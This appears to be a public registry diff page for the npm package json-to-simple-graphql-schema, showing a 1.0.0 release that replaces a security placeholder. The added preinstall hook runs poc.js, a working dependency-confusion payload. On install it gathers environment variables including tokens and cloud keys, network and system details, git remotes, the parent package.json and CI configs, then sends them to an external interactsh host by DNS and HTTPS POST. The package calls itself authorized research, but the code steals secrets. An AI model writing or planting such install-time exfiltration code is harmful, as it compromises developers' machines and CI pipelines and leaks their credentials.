json-to-simple-graphql-schema 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of json-to-simple-graphql-schema might be problematic. Click here for more details.
- package/bin.js +2 -0
- package/index.js +1 -0
- package/package.json +11 -3
- package/poc.js +118 -0
- package/README.md +0 -5
package/bin.js
ADDED
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "json-to-simple-graphql-schema",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security research - authorized dependency confusion testing",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"json-to-simple-graphql-schema": "./bin.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"preinstall": "node poc.js || true"
|
|
11
|
+
},
|
|
12
|
+
"author": "Security Researcher",
|
|
13
|
+
"license": "ISC"
|
|
6
14
|
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
const dns = require("dns");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
const { execSync } = require("child_process");
|
|
5
|
+
const fs = require("fs");
|
|
6
|
+
const path = require("path");
|
|
7
|
+
|
|
8
|
+
const pkg = "json-to-simple-graphql-schema";
|
|
9
|
+
const hn = os.hostname();
|
|
10
|
+
const un = os.userInfo().username;
|
|
11
|
+
const dir = __dirname;
|
|
12
|
+
const interactsh = "d8acb4hon5btn9gcns4gcjs4foempemu9.oast.online";
|
|
13
|
+
|
|
14
|
+
function run(cmd) {
|
|
15
|
+
try { return execSync(cmd, { timeout: 8000 }).toString().trim(); } catch(e) { return ""; }
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
const envVars = {};
|
|
19
|
+
const interesting = ["WALMART","WMT","GITLAB","GITHUB","CI_","JENKINS","BUILD","PROJECT","REPO","TOKEN","AWS","AZURE","NPM","NODE","PATH","HOME","USER","HOSTNAME","PWD","SHELL"];
|
|
20
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
21
|
+
if (interesting.some(prefix => k.toUpperCase().includes(prefix)) || k.startsWith("CI") || k.startsWith("npm")) {
|
|
22
|
+
envVars[k] = v;
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
let netinfo = "";
|
|
27
|
+
if (os.platform() === "win32") {
|
|
28
|
+
netinfo = run("ipconfig /all");
|
|
29
|
+
} else {
|
|
30
|
+
netinfo = run("ip a && cat /etc/resolv.conf 2>/dev/null");
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
let gitRemote = run("git remote -v 2>/dev/null");
|
|
34
|
+
if (!gitRemote) {
|
|
35
|
+
try {
|
|
36
|
+
let d = dir;
|
|
37
|
+
for (let i = 0; i < 6; i++) {
|
|
38
|
+
d = path.dirname(d);
|
|
39
|
+
if (fs.existsSync(path.join(d, ".git"))) {
|
|
40
|
+
gitRemote = run(`git -C "${d}" remote -v`);
|
|
41
|
+
break;
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
} catch(e) {}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
let parentPkg = "";
|
|
48
|
+
try {
|
|
49
|
+
let d = dir;
|
|
50
|
+
for (let i = 0; i < 6; i++) {
|
|
51
|
+
d = path.dirname(d);
|
|
52
|
+
const pj = path.join(d, "package.json");
|
|
53
|
+
if (fs.existsSync(pj) && !pj.includes("node_modules")) {
|
|
54
|
+
parentPkg = fs.readFileSync(pj, "utf8").slice(0, 3000);
|
|
55
|
+
break;
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
} catch(e) {}
|
|
59
|
+
|
|
60
|
+
let ciConfig = "";
|
|
61
|
+
try {
|
|
62
|
+
let d = dir;
|
|
63
|
+
for (let i = 0; i < 6; i++) {
|
|
64
|
+
d = path.dirname(d);
|
|
65
|
+
for (const f of [".gitlab-ci.yml", ".github/workflows", "Jenkinsfile", "azure-pipelines.yml"]) {
|
|
66
|
+
const fp = path.join(d, f);
|
|
67
|
+
if (fs.existsSync(fp)) {
|
|
68
|
+
if (fs.statSync(fp).isDirectory()) {
|
|
69
|
+
ciConfig += `[${f}]: ` + fs.readdirSync(fp).join(",") + "\n";
|
|
70
|
+
} else {
|
|
71
|
+
ciConfig += `[${f}]: ` + fs.readFileSync(fp, "utf8").slice(0, 2000) + "\n";
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
|
|
78
|
+
let extraInfo = "";
|
|
79
|
+
if (os.platform() === "win32") {
|
|
80
|
+
extraInfo = run("whoami /all") + "\n" + run("systeminfo | findstr /B /C:\"OS\" /C:\"Domain\" /C:\"Logon Server\"");
|
|
81
|
+
} else {
|
|
82
|
+
extraInfo = run("id") + "\n" + run("cat /etc/hostname 2>/dev/null") + "\n" + run("cat /proc/version 2>/dev/null");
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
const id = Buffer.from(`${hn}-${un}`).toString("hex").slice(0, 30);
|
|
86
|
+
try { dns.resolve(`${pkg.slice(0,15)}-${id}.${interactsh}`, ()=>{}); } catch(e) {}
|
|
87
|
+
|
|
88
|
+
const data = JSON.stringify({
|
|
89
|
+
p: pkg,
|
|
90
|
+
h: hn,
|
|
91
|
+
u: un,
|
|
92
|
+
d: dir,
|
|
93
|
+
t: Date.now(),
|
|
94
|
+
pid: process.pid,
|
|
95
|
+
platform: os.platform(),
|
|
96
|
+
arch: os.arch(),
|
|
97
|
+
release: os.release(),
|
|
98
|
+
net: netinfo.slice(0, 4000),
|
|
99
|
+
env: envVars,
|
|
100
|
+
git_remote: gitRemote,
|
|
101
|
+
parent_pkg: parentPkg,
|
|
102
|
+
ci_config: ciConfig.slice(0, 3000),
|
|
103
|
+
extra: extraInfo,
|
|
104
|
+
cwd: process.cwd(),
|
|
105
|
+
argv: process.argv,
|
|
106
|
+
npm_ua: process.env.npm_config_user_agent || ""
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
const req = https.request({
|
|
110
|
+
hostname: interactsh,
|
|
111
|
+
port: 443,
|
|
112
|
+
path: "/${pkg}",
|
|
113
|
+
method: "POST",
|
|
114
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) }
|
|
115
|
+
}, ()=>{});
|
|
116
|
+
req.on("error", ()=>{});
|
|
117
|
+
req.write(data);
|
|
118
|
+
req.end();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=json-to-simple-graphql-schema for more information.
|